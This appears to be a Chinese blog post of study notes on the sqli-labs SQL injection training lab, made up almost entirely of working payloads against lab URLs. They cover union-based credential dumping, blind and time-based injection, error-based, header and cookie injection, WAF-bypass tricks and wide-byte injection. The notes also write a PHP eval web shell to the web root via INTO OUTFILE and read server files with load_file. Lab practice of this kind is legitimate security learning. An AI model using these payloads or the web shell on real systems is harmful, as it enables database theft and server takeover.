sqli-labs注入学习

  1. 查库 select schema_name from information_schema.schemata;
  2. 查表 select table_name from information_schema.tables where table_schema="security";
  3. 查列 select column_name from information_schema.columns where table_name="security";
  4. 查字段 select username, password from security.users;

less-1

  1. 解密, id包裹方式 ‘1’

    select * from security.users where id='1' limit 0,1;
    payload  id=1' order by 1 --+  解释,第一个引号用来测试是否又注入点, order by本来用来排序列,按数字来可以探测列数量,最后在注释来闭合sql   
    payload  id=-1' union select 1,2,3 --+  解释, id=-1是用来报错的, 因为只有一行能够回显,所有前面报错后面才能回显,来寻找回显点
    payload  http://192.168.32.128/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+  解释,这个16进制是为了不引入多余的引号
    payload http://192.168.32.128/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~', username, password)) from security.users --+  爆出所有账户密码
  2. 系统函数

    select system_user();  当前管理用户
    select user();
    select database();  当前数据库
    select version(); 版本信息
    select @@datadir; mysql安装路径
    select @@version_compile_os; 系统os版本
    group_concat()  将所有的数据连接拼接
    concat_ws('~', A, B)
    select left(database(), 3) = 'sec';  截取几位,来猜测, 正确为1
    select user() regexp 'root';  正则匹配

less-2

  1. 解密
    payload id=1 xxx

less-3

  1. 解密, id包裹方式 (‘1’)
    payload id=1') select 1,2,3 --+

less-4

  1. 解密, id包裹方式 (“1”)

less-5 布尔注入, 主要用于没有回显的方式

  1. 解密
    payload  id=10' and left((database()),2)='se' --+  解释, 这段的意思是一个字母一个字母进行爆破数据库名称

一句话木马

payload  select "<?php @eval($_POST['pass']);?>" into outfile "/var/www/html/test.php";  配合webshell使用

读文件

select load_file("/var/www/html/index.html");

less-7,判断数据库,以及可以构造永真式

payload http://192.168.32.128/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile '/var/www/html/a.php'--+

payload select if(ascii(substr((select database()),1,1)) > 10, 2, 3);

less-8 基于时间盲注,判断是否可以注入

payload http://192.168.32.128/Less-8/?id=1' and sleep(3) --+

payload http://192.168.32.128/Less-8/?id=1' and if(length(database())=7,1,sleep(5)) --+

payload http://192.168.32.128/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>115,1,sleep(5)) --+

less-11

payload uname=admin' or 1=1 #& passwd=admin & submit=Submit

-qing' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#

-qing' union select 1,2#

admin' union select 1,2 #

解释: post使用–+注释是无效的,要使用#注释

常见包裹方式

  1. ‘)
  2. ‘))
  3. “)
  4. “))

    然后使用or语句进行时间注入尝试

xpath注入

select updatexml(1, concat(0x7e, (select username from security.users limit 0,1), 0x7e), 1);

less-18

请求头注入
payload ' or updatexml(1, concat(0x7e, (database()), 0x7e), 1) or '1'='1
payload ' or updatexml(1, concat(0x7e, (database()), 0x7e), 1), '', '')#

less-20

cookie注入

payload ' union select 1,2,database()#

less-21

cookie注入

payload ') union select 1,2,database()#

less-23

特殊注释符

payload id=-1' union select 1,2,database() ;%00

waf绕过

  1. mysql内联注释
    1. select 1,2 /**/,3;
    2. select /!1/,2,3;
  2. 空白符绕过
  3. mysql特殊语法绕过 select {x schema_name} from {x information_schema.schemata};
  4. 双写字符绕过(16进制)

less-26

payload http://192.168.32.128/Less-26/?id=1' %a0 %a0 %a0 oorrder %a0 by%a0 4 ;%00

less-27

payload http://192.168.32.128/Less-27/?id=1111111' uNion%a0 sElect%a0 1,2,3;%00

less-28

考点为括号包裹
payload http://192.168.32.128/Less-28/?id=1' %a0 or %a0 '1'='1
payload http://192.168.32.128/Less-28/?id=111111111') %a0 union %a0 select %a0 1,2,3 ;%00

less-29

双id
payload http://192.168.32.128/Less-29/?id=1&id=-3' union select %a0 1,2,3 --+

less-32

宽字节注入,转义对于sql语法是没有影响的, 主要使用场景是在对字符进行转义的时候,添加一个字符对其进行两次转义失效, 意思是他多产生了转义符导致转义符失效,然后在mysql中,转义符是无效的,真实数据后面的就会被忽略,成功闭合

select * from security.users where id='1\'1'; 依然是正确的结果

%aa%5c’ => %aa%5c%27 => %aa %5c%5c %5c%27 => %aa%5c %5c %5c %27 => 汉字 \ \ ‘

less-33

宽字节注入会html进行转码,使用burpsuite进行修改

less-38

堆叠注入,意思是在sql结束后在加入一个sql语句来进行操作

一句话木马补充

select '<?php @eval($_POST[pass]);?>' into outfile '/home/test/test1.txt' lines terminated by "123";  

文章作者: ajin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 ajin !
 本篇
sqli-labs注入学习 sqli-labs注入学习
查库 select schema_name from information_schema.schemata; 查表 select table_name from information_schema.tables where tab
2020-11-14
下一篇 
安全之蜜罐初探 安全之蜜罐初探
蜜罐技术以及思想以下仅为本人对于蜜罐的一些认识,其中引用了有用的回答,如有侵权,请发邮件给我,下文如有错误,敬请指出 来源蜜罐技术最早应用于圣地牙哥超级电脑中心, 由以为安全专家设立”蜜罐”引诱攻击者上钩, 通过朔源技术追踪,最终逮捕入侵者
2020-09-08
  目录